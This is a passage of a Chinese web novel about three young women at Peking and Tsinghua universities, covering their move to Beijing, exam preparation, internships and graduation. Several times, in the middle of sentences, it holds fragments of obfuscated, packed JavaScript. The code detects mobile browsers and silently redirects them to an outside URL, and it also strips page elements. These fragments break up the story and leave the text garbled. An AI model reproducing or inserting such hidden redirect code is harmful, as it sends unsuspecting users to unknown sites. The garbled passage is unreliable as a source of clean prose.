在秦语曦家宽敞的卧室里，地上摊开着一个巨大的行李箱和一个行李袋。林婉仪细心地将一件件叠好的夏秋衣物放入箱中，嘴里还不停念叨着：“北京秋天凉得快，长袖外套得多带两件……睡衣、毛巾、浴巾都给你准备了新的……” 秦国栋则负责检查电子产品：笔记本电脑、平板、手机、充电器、充电宝，一一确认无误。秦宇晨虽然工作忙，也特意抽空回来，给妹妹塞了一个崭新的降噪耳机：“宿舍里看书睡觉用得着。” 秦语曦本人则有点心不在焉，一边往箱子里塞她心爱的玩偶和零食，一边跟手机那头的梁清嘉视频连线：“清嘉！你防晒霜带够没？听说北京军训太阳可毒了！”“带啦带啦！我还带了三大瓶！你的大熊玩偶记得压缩好，别占地方！” 隔壁栋的梁清嘉家情况类似。刘敏敏和梁建宏也在为女儿打点行装。梁清嘉的东西更多，除了衣物，还有一堆她喜欢的漫画书、装饰品。 “妈！这个也要带！” “嘉嘉，箱子要超重了！” “不管嘛，我都要带！” 梁清树在一旁笑着摇头，负责把妹妹那些“非必需品”巧妙地塞进箱子的边边角角，同时提醒她别忘了必备的证件和录取通知书。 整个收拾过程充满了絮叨、笑闹和不舍。行李箱里装的不仅是物品，更是家人无微不至的关爱。 8月17日清晨，两家人分别驾车前往机场。飞机降落在北京首都国际机场，北方的干燥空气和开阔的天空让人精神一振。两家人提前预定了离北大仅几百米的一家舒适酒店。 安顿好行李后，一起吃了顿地道的北京烤鸭，算是为孩子们接风洗尘，也缓解一下旅途的疲惫。 晚饭后，林婉仪和秦国栋带着秦语曦去了附近的超市，精心挑选了宿舍床上用品：一张适合夏天用的清凉席子、一张轻薄柔软的空调被、一个蓬松的白色枕头，还有一张铺在床板上的薄床垫。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他们仔细地帮谢雪凤收拾好宿舍。一切安排妥当后，一家三口在清华园里慢慢逛着，朱自清笔下的荷塘月色、古朴的二校门、现代化的图书馆……每一处都让谢建华和叶桂兰感到无比自豪。 他们找了个便宜的小旅馆住下，接下来两天，打算在北京城简单逛逛，看看天安门、故宫，对于他们来说，这趟北京之行，既是送女儿上学，也是一次难得的旅行。 开学前的军训如期而至。九月的北京，秋老虎势头正猛。训练是辛苦的，站军姿、踢正步、练队列，汗水浸透了迷彩服。但秦语曦身体素质不错，心态也好，觉得这种集体生活挺新奇，和舍友、同学们很快熟络起来，日子倒也过得飞快。 军训结束那天，大家欢呼着解放。秦语曦兴冲冲地去快递点取回了她早就网购好的、几乎有半人高的大熊玩偶，心满意足地抱回宿舍，给它找了个专属位置。 另一边，谢雪凤也顺利完成了军训。她仔细地将一套还算完好的军训服洗干净叠好，准备放假时带回家给父亲干活穿。她想起秦语曦，觉得她肯定不会要这衣服，便发了条微信问：「语曦，你的军训服还要吗？如果不要的话，可以给我吗？」 秦语曦很快回复：「不要啦！你拿去呗！正好我明天没事，给你送过去，顺便逛逛清华！」 第二天，秦语曦果然抱着那套军训服去了清华园。两个好友在顶尖学府里碰头，散步聊天，感受着不同校园的氛围，别有一番趣味。 军训结束后，正式开学前，课本发了下来。 看着厚厚一摞法学专业书籍——《法学导论》、《宪法学》、《中国法制史》……秦语曦顿时感到“任重而道远”。她拍下这堆沉甸甸的课本，发了一条朋友圈，配文：「我的人生，将在悲惨中度过……[苦涩]」 很快，梁清嘉在下面评论：「同是天涯沦落人！我的经济学原理和微积分也厚得能砸死人！抱抱～」 谢雪凤也评论了几个「[笑哭][笑哭][笑哭]」的表情，她的计算机专业书籍同样不轻松。 就连林婉仪和秦国栋看到女儿的朋友圈，也忍不住笑了。林婉仪评论道：「加油吧少女！悲惨的人生才刚开始呢！」后面跟着一个偷笑的表情。 27. 27. 金秋的北京，天空高远湛蓝。北大与清华园内，银杏叶片片金黄，如同为新学子们铺开的灿烂画卷。然而，在这相似的优美环境中，秦语曦、梁清嘉和谢雪凤的大学生活，却从一开始就踏上了截然不同的节奏。 对于谢雪凤而言，大学生活是一张被精确到分钟的时间表。她像一只上紧了发条的钟摆，在教室、食堂、图书馆和宿舍四点之间规律而高速地摆动。 学习是绝对的主旋律。清华的课程难度和密度远超高中，尤其是计算机专业，大量的编程作业、数学推导和理论理解需要投入海量时间。她不敢有丝毫懈怠，每堂课都坐在前排，笔记做得一丝不苟。 经济压力是她必须直面的现实。虽然申请了助学贷款，但生活费依然是一笔不小的开销。入学不久，她就在学校食堂找到了一份兼职——在午餐和晚餐高峰时段帮同学们打饭。 这份工作辛苦且枯燥，一站就是一两个小时，手臂酸麻，还要忍受食堂的油烟和嘈杂。但它有两个最实际的好处：免费的工作餐和每月500元的工资。这能极大减轻家里的负担。她总是最快地吃完自己的那份简单的员工餐，然后立刻返回窗口投入“战斗”。 她的生活轨迹极其固定：有课上课，没课就去图书馆或自习室，直到闭馆音乐响起。中午和傍晚的固定时间雷打不动地去食堂打工。 回到宿舍时，往往已是深夜，舍友们大多都已洗漱准备休息。她轻手轻脚地快速完成个人卫生，然后还会在台灯下再看一会儿书或代码。 她是宿舍里最早出、最晚归的人，个人的物品也收拾得最简单整洁，仿佛只是一个短暂的栖息者。 秦语曦偶尔会通过支付宝给她转两三百块钱，备注往往是“买水果”、“加个餐”。谢雪凤每次发现，心里都五味杂陈，感激又带着点难堪。 她试图转回去，但秦语曦的支付宝早已将她拉黑；发微信红包，对方根本不收；想见面还给现金，秦语曦却总是约不出来或者说“哎呀一点小钱别在意”。 这份善意像温暖的羽毛，却也时时提醒着她们之间那条无形的界线。最终，她只能将这份情谊默默记下，更加努力地学习，希望将来有能力回报。 相比之下，秦语曦在北大的生活则显得闲适甚至有些漫无目的。脱离了高中那种目标明确、压力巨大的环境，突然的松弛让她有些迷失方向。 她的日常非常简单：有课的时候，背着书包去教室，有时认真听讲，有时也会在下面偷偷看小说或刷手机。 没课的时候，大部分时间就窝在宿舍里。她的床上堆满了毛绒玩偶，桌上除了课本，还有各种零食和iPad。她可以抱着书看一下午法学案例，也可以和梁清嘉联机打游戏打到深夜。 周末，白天依旧是看书、打游戏的循环。到了晚上，她会和关系最好的室友陆雅轩一起在未名湖边散步，聊聊家乡、课程和未来的模糊想法；或者和梁清嘉约着跑去五道口、三里屯逛街购物，品尝各种美食，仿佛要把高中没时间享受的闲暇都补回来。 这种生活缺乏强烈的驱动力，虽然轻松，但偶尔也会让她感到一丝空虚和“无趣”，不知道自己的热情和目标究竟在哪里。法学专业的书籍厚重而枯燥，远不如小说有趣，她只是按部就班地学着，成绩保持在中上游，但远未到拼尽全力的程度。 进入十一月，北京的气温骤降，北风呼啸。林婉仪早早就在网上给女儿下单了一床厚厚的羽绒被。快递送到那天，秦语曦正懒得动，室友陆雅轩自告奋勇陪她去校门口取。 巨大的包裹抱回来颇费了些力气，秦语曦为了感谢，从柜子里拿出两个又大又红的苹果塞给陆雅轩：“轩轩，谢谢你！请你吃苹果，平安喜乐！” 铺上柔软暖和的新被子，秦语曦立刻钻进去试了试，然后开心地给林婉仪发微信：「谢谢妈妈的被被！超级暖和！爱你哟～」后面跟着一串亲亲的表情包。林婉仪回复了一个拥抱的表情，叮嘱她注意保暖。 跨年之夜，北京城灯火通明，充满了节日的气氛。秦语曦和梁清嘉早就计划好要一起迎接新年。知道跨年活动结束肯定回不了宿舍，梁清嘉提前订好了王府井附近的一间酒店房间。 两个女孩裹着厚厚的羽绒服，挤在熙熙攘攘的王府井大街人群中，感受着节日的热烈。她们吃了糖葫芦，看了街头表演，随着倒计时的人潮一起呼喊。当零点的钟声响起，她们兴奋地拥抱在一起，大声互道：“新年快乐！”回酒店的路上，寒风凛冽，她们自然地手牵着手，互相取暖，分享着属于她们的青春秘密和对未来的憧憬。 而在清华园的女生宿舍里，则是另一番温馨景象。谢雪凤的舍友何思敏的生日正好是1月1日。于是，在跨年这个特殊夜晚，宿舍其他三人——谢雪凤、张悦和李雯——秘密策划了一个小小的生日惊喜。她们提前订好了蛋糕，在接近零点时，关上灯，点燃蜡烛。 当新年钟声敲响时，宿舍里同时响起了“生日快乐”和“新年快乐”的祝福声。何思敏惊喜又感动，四个女孩在烛光下笑着，许愿，然后一起分吃甜甜的蛋糕，分享着来自天南海北的零食，小小的宿舍里充满了欢声笑语。 对谢雪凤来说，这种简单而真挚的集体温暖，是她忙碌生活中珍贵的慰藉。 寒假来临，第一个学期宣告结束。秦语曦拖着行李箱回到G市温暖的家。知道女儿要回来，林婉仪和秦国栋特意嘱咐阿姨做了一顿极其丰盛的接风宴：油焖大虾、红烧排骨、清蒸鱼、老火靓汤……都是秦语曦最爱吃的菜。 饭桌上，父母关切地询问着大学生活的点滴。秦语曦叽叽喳喳地讲着校园趣事与和梁清嘉的各种“冒险”，但对于学习的深度和未来的规划，却有些语焉不详。 林婉仪和秦国栋对视一眼，看出女儿似乎还在适应和探索期，并没有急于追问，只是不断给她夹菜，享受着家人团聚的温馨。 寒假的生活画卷，在三个女孩身边铺陈出截然不同的色彩。 谢雪凤的假期被辛勤与汗水填充。她没有像许多同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484427|185669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学那样享受长假，而是早早就在家附近的一家大型超市找到了一份收银员的寒假工。每天站立七八个小时，重复着扫描商品、装袋、收钱找零的流程，还要时刻保持微笑应对各种顾客。 腰酸背痛是常态，但看着每天增加的工资和能为父母减轻的负担，她觉得一切都值得。她的假期在超市的日光灯和下班的夜色中悄然流逝，简单、疲惫却充满实实在在的收获感。 而在城市的另一端，秦语曦和梁清嘉则彻底进入了“摆烂模式”，将大学的闲适延续到了假期。昼伏夜出是基本操作，追剧、打游戏、刷手机构成了日常的主旋律。规律的作息？不存在的。 情人节这天，午后两点半的阳光懒洋洋地洒满街道。秦语曦和梁清嘉才慢悠悠地从各自的被窝里爬出来，约定好在家附近的商圈碰头。 秦语曦裹着一件厚厚的奶白色羽绒服，像一只慵懒的猫咪；梁清嘉则穿着时髦的廓形大衣，围巾随意搭着，带着几分睡意未消的惺忪。 她们的目的地是电影院，选了一部轻松搞笑的爱情喜剧。检票进场时，看到周围大多是一对对依偎着的情侣，她们相视一笑，毫不在意地找到自己的位置。 黑暗中，爆米花的香甜气息弥漫，她们随着剧情时而大笑，时而小声吐槽，享受着纯粹的放松和陪伴。 电影散场后，她们随着人流漫无目的地闲逛，走进一家熟悉的快时尚品牌店。衣架上琳琅满目的春装已经上新，色彩明快。她们一件件拿起来比划，互相给出“毒舌”又中肯的评价。 “这件你穿肯定显黑！” “哇，这个颜色好春天，适合你！” 在一面巨大的落地试衣镜前，梁清嘉拿起一件浅蓝色的针织衫在身前比着，转头问秦语曦：“曦宝，这件怎么样？” 秦语曦凑过来，脑袋和梁清嘉的靠在一起，端详着镜子里的人影。突然，她玩心大起，掏出手机，笑嘻嘻地说：“来来来，拍一张！” 她举起手机，巧妙地用手机屏幕挡住了两人的脸，利用后置摄像头，对着镜子拍下了镜中的影像。照片里，只能看到两个凑在一起的脑袋轮廓，穿着冬日的厚外套，背景是挂满衣服的店铺，一种自然又充满生活气息的闺蜜合照。 拍完看看效果，秦语曦很满意。正要收起手机，她忽然想起什么，眼睛一亮：“对了！今天可是情人节诶！”她不由分说地拉起梁清嘉的手，梁清嘉瞬间心领神会，笑着任由她摆布。 秦语曦调整角度，对着两人十指相扣的手部来了个特写。阳光从商场的天窗斜射下来，在她们交握的手上投下温暖的光晕。 “完美！”秦语曦低头操作手机，将那张搞怪的遮脸合照和这张牵手的特写一起发到了朋友圈，配上了一行文字： 「不太会讲爱，但是默默幸福很久了 」 没有点名道姓，但所有熟悉她们的朋友都知道这指的是谁。这条朋友圈很快收获了一连串的点赞和评论，有祝福，有调侃，更多的是对她们多年友情的羡慕。 28. 28. 时间如白驹过隙，转眼间，秦语曦、梁清嘉和谢雪凤的大学生活已步入后半程。站在大二结束的暑假这个十字路口，未来的压力似乎突然变得具体而清晰。 考研，这个对于顶尖高校学生来说几乎被视为标准选项的道路，成为了她们共同的选择，但在这条相似的路径上，三人却走出了截然不同的风景。 大二的尾声，在期末考试的压力散去后，一种关于未来的焦灼感开始在宿舍卧谈会、图书馆角落和食堂饭桌上弥漫。 对于谢雪凤而言，考研不是选项之一，而是改变命运必经之路。计算机专业本科毕业在北上广深竞争激烈，顶尖公司的门槛往往是硕士起步。 她早在大二下学期就开始研究各校的计算机硕士项目、考试科目、报录比。清华自然是梦想的彼岸，但她也理智地列出了几个“踮踮脚能够到”的备选学校。这个暑假，她几乎没有休息一天。 她用辛苦攒下的钱，毫不犹豫地买齐了所有考研权威教辅书。那一摞沉甸甸的书籍，对她来说不是负担，而是通往希望的阶梯。 她每天的生活轨迹简单到极致：清晨五点起床，洗漱后啃个馒头就赶往图书馆，成为开馆时第一个冲进去的人之一，直到闭馆音乐响起才收拾书包离开。 夜晚，回到家，她还会就着台灯再复习一到两个小时。咖啡对于她是奢侈品，更多的是用学校开水房打来的免费热水泡着最便宜的茶包提神。 她的日程表精确到分钟，这是一种近乎苦行僧般的自律，背后是走出贫困、证明自己的强烈渴望。 北大法学院的学业压力不小，但秦语曦凭借天赋和努力，成绩一直保持在中上游。然而，她对自己的要求远不止于此。 秦语曦想着把司法考试与考研一起准备这样就不用分阶段面对压力了，于是她做出了同时准备考研和国家统一法律职业资格考试。 法考以其难度和庞大的复习量著称，被称为“天下第一考”，而考研同样是千军万马过独木桥。两者叠加，意味着她的大三和大四上学期将几乎没有个人时间。 暑假回家，她把自己的书房变成了作战指挥室。墙上贴满了详细的复习计划表，书桌上堆满了法考与考研的相关资料。 林婉仪和秦国栋看着秦语曦每天顶着乱糟糟的头发，穿着睡衣在书房里一坐就是一天，时而眉头紧锁，时而奋笔疾书，脸上那种“苦大仇深”的表情，既心疼又觉得有些好笑，仿佛看到了年轻时拼搏的自己。 他们能做的，就是保证营养，默默支持，偶尔强行拉她出去散步透气。秦语曦的咖啡消耗量开始剧增，从最初的拿铁变成了效果更猛烈的美式，她的黑眼圈成了常态。 相对于谢雪凤的破釜沉舟和秦语曦的双线作战，梁清嘉的备考显得“松弛”许多。她目标明确，经济学硕士。。 她的“松弛”并非不努力，而是源于强大的后盾和良好的心态。她的复习计划安排得张弛有度，不会像谢雪凤那样压榨到极限，也不会像秦语曦那样同时挑战两个高峰。 暑假在家复习，她的书桌总是收拾得井井有条，旁边还放着她喜欢的香薰和小盆栽。最大的“外挂”是她的梁清树。 梁清树数学功底极其扎实，只要他有空，就会给给梁清嘉讲解数学题。梁清树的讲解深入浅出，不像老师那样刻板，总能抓住梁清嘉思维的卡点，用她容易理解的方式讲透。 这种兄妹间的互动，让枯燥的数学复习变得轻松不少。梁清嘉也会按时完成学习任务，但晚上她会看一集综艺放松，周末还会和朋友约个饭，保持着相对健康的生活节奏。 大三学年正式开始，课业压力并未减少，但三人都将重心明显倾斜到了考研复习上。 在清华，竞争氛围无处不在。谢雪凤将自己逼到了极致。她辞掉了所有的兼职，全身心投入复习。除了专业课，她几乎所有时间都泡在图书馆。 那个固定的靠窗位置成了她的“专属领地”。她熟悉了图书馆的保洁阿姨，见证了窗外树叶从绿变黄再到凋零。咖啡，从最初的偶尔提神，变成了维持精力的必需品。 她与秦语曦和梁清嘉的联系也多限于群里简单的问候和鼓励。她的世界，仿佛只剩下书本和习题。 秦语曦的大三是在高度的双线作战中度过的。白天要上学校的专业课，课余时间则被法考和考研复习填满。 九月份，她迎来了第一个大关——法考客观题考试。考试那天，她感觉自己像上战场的士兵。考完最后一科，走出考场，夕阳西下，她感到一阵虚脱。 让她感动的是，梁清嘉已经等在考场外，笑吟吟地递给她一杯热奶茶，绝口不提考试的事，只是拉着她聊最近的趣闻，帮她放松。 五天后，可以查询客观题成绩，秦语曦紧张得不敢自己查，把手机塞给旁边的梁清嘉。梁清嘉点开链接，看到“通过”二字，笑着锤了她一下：“行了，过了！我就说你没问题！” 秦语曦瞬间跳了起来，积压已久的压力释放出来。她立刻在“三朵金花”群里报喜，并强行把谢雪凤也从图书馆拉出来，三个女孩在学校附近的小馆子好好吃了一顿，算是阶段性的庆祝。 客观题通过只是第一步，十月中旬还有更考验法学功底和文字表达能力的主观题考试。有了第一次的经验，秦语曦稍微从容了一些。 考完主观题，她鼓起勇气自己查询成绩。当看到屏幕上的“通过”二字时，她长舒一口气，有一种巨大的成就感。 她第一时间把成绩截图发到了“花开富贵的一家四口”家庭群，群里立刻被红包和鲜花表情刷屏，林婉仪和秦国栋的骄傲溢于言表。 法考的顺利通过，给了秦语曦极大的信心，但也意味着，接下来的时间要完全投入到考研冲刺中去了。 梁清嘉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484428|185669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的复习按部就班地进行着。数学在梁清树的帮助下渐入佳境，专业课是自己的强项，英语和政治也稳步复习。 她不像秦语曦那样经历大起大落的情感波动，也不像谢雪凤那样承受着巨大的身心压力。她也会去图书馆，但会选择光线更好、不那么压抑的位置。 她会和秦语曦约着一起复习，互相监督，累了就一起去喝杯咖啡，在校园里走走。这种“结伴而行”的方式，有效地缓解了备考的枯燥和焦虑。 进入十二月，考研的气氛紧张到几乎凝固。天气越来越冷，图书馆里的座位却越来越“热”，需要更早去占座。 即使是心态最好的梁清嘉，也感受到了压力，开始减少娱乐活动，增加复习时间。 秦语曦扔掉了法考资料，全力扑在法学硕士的复习上，刷真题，背知识点，每天睡眠时间严重不足。 谢雪凤更是进入了最后冲刺状态，眼下的乌青愈发明显，咖啡喝得越来越多，神经衰弱的情况似乎也更严重了，一点声响都会让她心烦意乱。 12月21日，秦语曦和梁清嘉从图书馆结伴回宿舍。寒冷的夜风中，两人互相打气： “加油！”“你一定行的！” “别紧张，正常发挥就好！” 她们想起远在清华的谢雪凤，不约而同地给她发了一个红包，并在群里叮嘱：“雪凤，一定要收下！这是‘接收福气’，明天带上考场！” 谢雪凤看到消息和红包，冰冷的双手似乎感受到了一丝暖意。她犹豫了一下，最终点下了接收，回复了一个“谢谢，你们也加油！”的表情。 这简单的互动，在寒冷的冬夜里，成了支撑彼此的一份力量。 12月22日，考研日正式来临。考场里寂静无声，只能听到笔尖划过答题纸的沙沙声。 谢雪凤面对试卷，忘却了所有疲惫，全神贯注，将一年多的积累倾注笔端。 秦语曦沉着应对，思路清晰，法考锻炼出的心理素质在此刻发挥了作用。 梁清嘉也认真答题，遇到难题会冷静跳过，先保证拿下能得的分。 释放与庆祝：当最后一科考试结束的铃声响起，三人几乎同时长出了一口气。秦语曦走出考场，感觉肩膀上一座大山被移开了。 她开机后，立刻在“三朵金花”群里发消息：“解放了！！！姐妹们，火锅走起！我请客！”梁清嘉很快回复：“马上到！饿死我了！”谢雪凤也难得地迅速回应：“好，给我发定位。” 在那家热气腾腾的火锅店里，三个女孩放下了所有包袱，大快朵颐。肥牛、毛肚、虾滑……食物似乎从未如此美味。 她们聊着考试中的趣事，吐槽着变态的题目，更多的是规划考完试要去哪里玩，要睡多少个懒觉。这一顿火锅，吃得格外香甜，不仅仅是因为食物的味道，更是因为长达一年多的奋战终于暂时告一段落。 29. 29. 考研初试那场漫长而激烈的战斗终于落下帷幕，紧绷了近一年的神经骤然松弛，带来的首先是一场席卷身心的疲惫浪潮，以及随之而来的、近乎报复性的休整需求。 对于秦语曦和梁清嘉而言，考试结束的瞬间，仿佛一个被挤压到极致的气球突然泄气。她们的第一要务不是规划未来，而是“补债”——补上这一年多来欠下的所有睡眠和娱乐。最初的几天，她们的生活节奏慢得如同停滞。 日上三竿，阳光透过窗帘缝隙洒在脸上，两人还深陷在柔软的被窝里，享受着久违的、无人打扰的酣眠。醒来后，也是穿着舒适的居家服，披头散发地在家里晃悠，抱着零食追之前错过的热门剧集和综艺，或者什么都不做，只是放空发呆。 相比之下，谢雪凤的考后生活则无法如此“任性”。作为计算机专业的学生，大四上学期结束并不代表课程的完全终结。她还有一些课程设计和期末项目需要收尾。 因此，她的放松是有限度的、克制的。考完试，她允许自己昏天黑地地睡了整整一天，吃了几顿好的，和实验室的同学简单聚了个餐。 但很快，她就重新回到了校园的节奏中。图书馆和实验室依然是她常去的地方，只是心态已然不同。没有了考研复习那座大山的压迫，她能够更从容地对待眼前的学业任务，甚至有时间去深入思考一些之前因为赶进度而忽略的技术细节。 这种“半放松”状态，是一种从极限压力下的有序撤退，她依然保持着早起的习惯，只是不再需要咖啡强撑精神；她依然会学习，但晚上会看部电影或读本闲书作为调剂。这是属于她的，务实而平稳的过渡。 在一月底，回到家里的秦语曦梁清嘉舒适极了。 秦语曦家那个宽敞明亮的客厅，成了她们最初的“疗养院”。林婉仪和秦国栋看着女儿从备考期间那个苦大仇深的“小困兽”，变回如今这个懒洋洋、甚至会跟他们撒娇的宝贝，心中满是怜爱和放松。他们绝不轻易打扰，只是吩咐阿姨变着花样做好吃的，给她们补充消耗过度的元气。 梁清嘉也差不多，刘敏敏和梁建宏看着女儿恢复了几分高中时代的俏皮和懒散，只觉得可爱。这种彻底“放飞自我”的状态持续了大约一周，是身体和心理的必需调整，是对过去一年极度透支的必要补偿。 短暂的休整过后，现实的齿轮又开始转动。秦语曦和梁清嘉深知，无论考研结果如何，一份高质量的实习经历对未来的求职都至关重要。她们便着手投递简历，凭借出色的本科背景和成绩，很快都拿到了心仪的实习机会。 秦语曦选择了一家在G市颇具声望的律师事务所实习。她的岗位是律师助理，主要协助合伙人处理一些非诉业务，如尽职调查、合同审核、法律文书起草等。 北大法学院的光环让她受到了重视，但真正进入实务领域，她才深刻体会到理论与实践的差距。厚厚的卷宗、繁琐的程序、需要字斟句酌的法律意见书，都让她感受到了法律工作的严谨与压力。 带教律师是一位要求严格的中年女性，对细节近乎苛刻。秦语曦一开始难免手忙脚乱，犯过小错误，也被严厉批评过。 但她骨子里的不服输和从父母那里继承来的韧劲被激发出来。她利用晚上时间恶补实务知识，向有经验的同事请教，努力让自己的作品更趋完美。 这段实习，让她对法律职业有了更直观也更复杂的认识，不再是书本上的条文和案例，而是充满了人际博弈、利益平衡和现实考量的活生生的战场。同时，她也抓紧时间递交了司法考试的资格审核材料，为后续领取证书做准备。 梁清嘉则通过刘敏敏的关系，进入了一家知名事务所实习。在审计部门，她体验到了什么是真正的“忙季”。无穷无尽的凭证、底稿、Excel表格，加班到深夜是家常便饭。 她跟着项目组跑客户单位，见识了不同企业的运营模式和财务流程。与秦语曦面对的“文字战场”不同，梁清嘉面对的是“数字海洋”。 需要极强的耐心、细心和对会计准则的精准把握。刘敏敏并没有给女儿特殊照顾，反而要求更严。梁清嘉也曾累得在回家的车上睡着，但她也从中学到了团队协作的重要性，以及如何在高压下保持高效和准确。 这种高强度、规范化的职场初体验，虽然辛苦，却让她迅速成长，对未来的职业规划有了更清晰的蓝图。 谢雪凤没有回家。她利用考完试到春节前这段时间，在北京找到了一家互联网公司的研发岗位实习。 这对她至关重要，不仅是积累经验，更是赚取生活费和下一学期学费的重要来源。她的实习生活更为独立也更具挑战。 租房、通勤、融入新的团队、理解复杂的业务代码……一切都靠自己。她作为程序员，面对的是真实的线上系统、紧迫的开发周期和需要不断学习的新技术。 与学校里的项目不同，这里的代码直接关系到用户体验和公司利益，容错率极低。她常常为了一个bug调试到深夜，也曾在技术讨论中被资深工程师问得哑口无言。 但这个过程极大地锻炼了她的工程能力和解决问题的能力。她用自己的实习工资支付开销，还能略有结余，这种自食其力的感觉，让她倍感踏实和自豪。 二月份，考研初试成绩陆续公布。那几天，三个女孩的心里都像是揣了只兔子。 秦语曦和梁清嘉约好了一起查分。坐在秦语曦家的书房里，两人对着电脑屏幕，输入准考证号时手指都有些发抖。 当分数跳出来的那一刻——秦语曦与梁清嘉分数同样不俗——两人先是一愣，随即爆发出兴奋的尖叫，紧紧地拥抱在一起，眼眶都有些湿润。 这一刻，一年多的辛苦付出都有了答案。几乎同时，秦语曦的手机上谢雪凤的消息也弹了出来，她的分数更是亮眼，稳稳过线清华计算机复试。 喜悦过后，是新一轮的挑战——复试。初试通过只是拿到了入场券，复试才是决定能否被录取的关键。 三人又开始了忙碌的生活。 秦语曦和梁清嘉白天在各自的单位实习，晚上则拖着疲惫的身体回家准备复试。秦语曦需要恶补专业知识，准备可能遇到的案例分析。 梁清嘉则要深入复习经济学理论，关注经济热点，模拟面试场景。 她们的休息时间再次被压缩，但这次的目标明确，动力十足。 谢雪凤同样如此，白天在公司写代码，晚上回到出租屋就要准备清华的复试。计算机复试通常包含机试和面试，对编程能力和项目经验要求极高。她不得不利用一切碎片时间刷题、回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484429|185669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾做过的项目、准备技术面试可能问到的问题。 三月底，春意盎然，秦语曦和梁清嘉一同乘飞机前往北京参加复试。这次北上，心情与考研前的紧张截然不同，多了几分自信和期待。 她们互相打气，在飞机上还在模拟面试问答。到了北京，入住酒店后，便分头前往各自的学校熟悉环境，做最后冲刺。 北大浓厚的学术氛围让她们既兴奋又踏实。复试过程虽然严格，但准备充分的她们都应对自如。结果毫无悬念，两人都顺利通过了复试，收到了梦寐以求的录取通知书。 对于在北京的谢雪凤来说，复试更像是“主场作战”。她向公司请了一天假，从容地前往清华园。对于这所梦想学府，她早已无比熟悉。 机试对她来说是强项，面试时，她扎实的技术功底和清晰的逻辑思维也给老师留下了深刻印象。复试对她而言，更像是一场水到渠成的展示。 顺利通过的消息传来，她内心激动，但表现得很平静，这是一种历经艰辛后终于抵达终点的坦然。 七月的北京，盛夏流火，但也充满了毕业季特有的热情与伤感。 北大毕业典礼那天，校园里随处可见穿着学位袍、头戴学位帽的毕业生，脸上洋溢着灿烂的笑容。秦语曦和梁清嘉穿着崭新的学士服，在熟悉的校园里穿梭，与未名湖、博雅塔、图书馆等地标合影。 她们摆出各种搞怪又可爱的姿势，相机快门声记录下了她们青春的骄傲与友谊的珍贵。拿到沉甸甸的学位证和毕业证那一刻，两人相视而笑，过去四年的点点滴滴涌上心头，有奋斗的汗水，也有成长的喜悦。这不仅是一纸文凭，更是她们人生一个重要阶段的圆满总结。 清华的毕业典礼稍晚几天。谢雪凤做了一个重要的决定：用自己实习和平时省下来的钱，给谢建华和叶桂兰买了往返机票和订了酒店。 这是她第一次有能力为家人提供这样的“奢侈”体验。她去机场接父母时，看到父母穿着虽然朴素但特意换上的最体面的衣服，脸上带着拘谨又兴奋的神情，她的鼻子有些发酸。她把父母安顿在提前订好的经济型酒店，仔细告诉他们各种设施怎么用。 毕业典礼当天，叶桂兰和谢建华看着女儿穿着黑色学士服，戴着方方正正的学士帽，从容地走上台从校领导手中接过证书时，激动得热泪盈眶。 他们用粗糙的手掌不停地拍着，骄傲之情溢于言表。这是他们从未想象过的荣耀时刻，是女儿用无数个日夜的拼搏为他们挣来的体面。 谢雪凤拍下自己和父母的合影，发到了朋友圈，配文简单却充满力量：“毕业快乐，感谢所有。” 很快，秦语曦和梁清嘉就在评论区出现了，她们用一贯亲密又略带调侃的语气留言： 秦语曦： “粉领小妹参见工科大帝！恭喜我谢总！” 梁清嘉： “+1！工科大帝求带飞！恭喜毕业！” 看着这些熟悉的调侃，谢雪凤握着手机，忍不住笑出声来，眼眶却微微湿润。这笑声里，有苦尽甘来的释然，有对朋友情谊的珍惜，更有对即将开启的新篇章的无限期待。 这一刻，家庭的骄傲、朋友的祝福与个人的成就交织在一起，为她的本科生涯，也为这段共同奋斗的青春岁月，画上了一个无比圆满的句号。 30. 30. 实习的忙碌告一段落，距离研究生开学还有一小段空隙。这短暂的时光，如同暴风雨来临前的平静，也像是漫长旅途中的一个驿站，各自蕴含着不同的意味。 实习结束后，秦语曦和梁清嘉心照不宣地将开学前剩余的几天时间完全留给了家人。这不再是考研结束后那种“报复性”的昏睡，而是一种带着珍惜意味的陪伴。 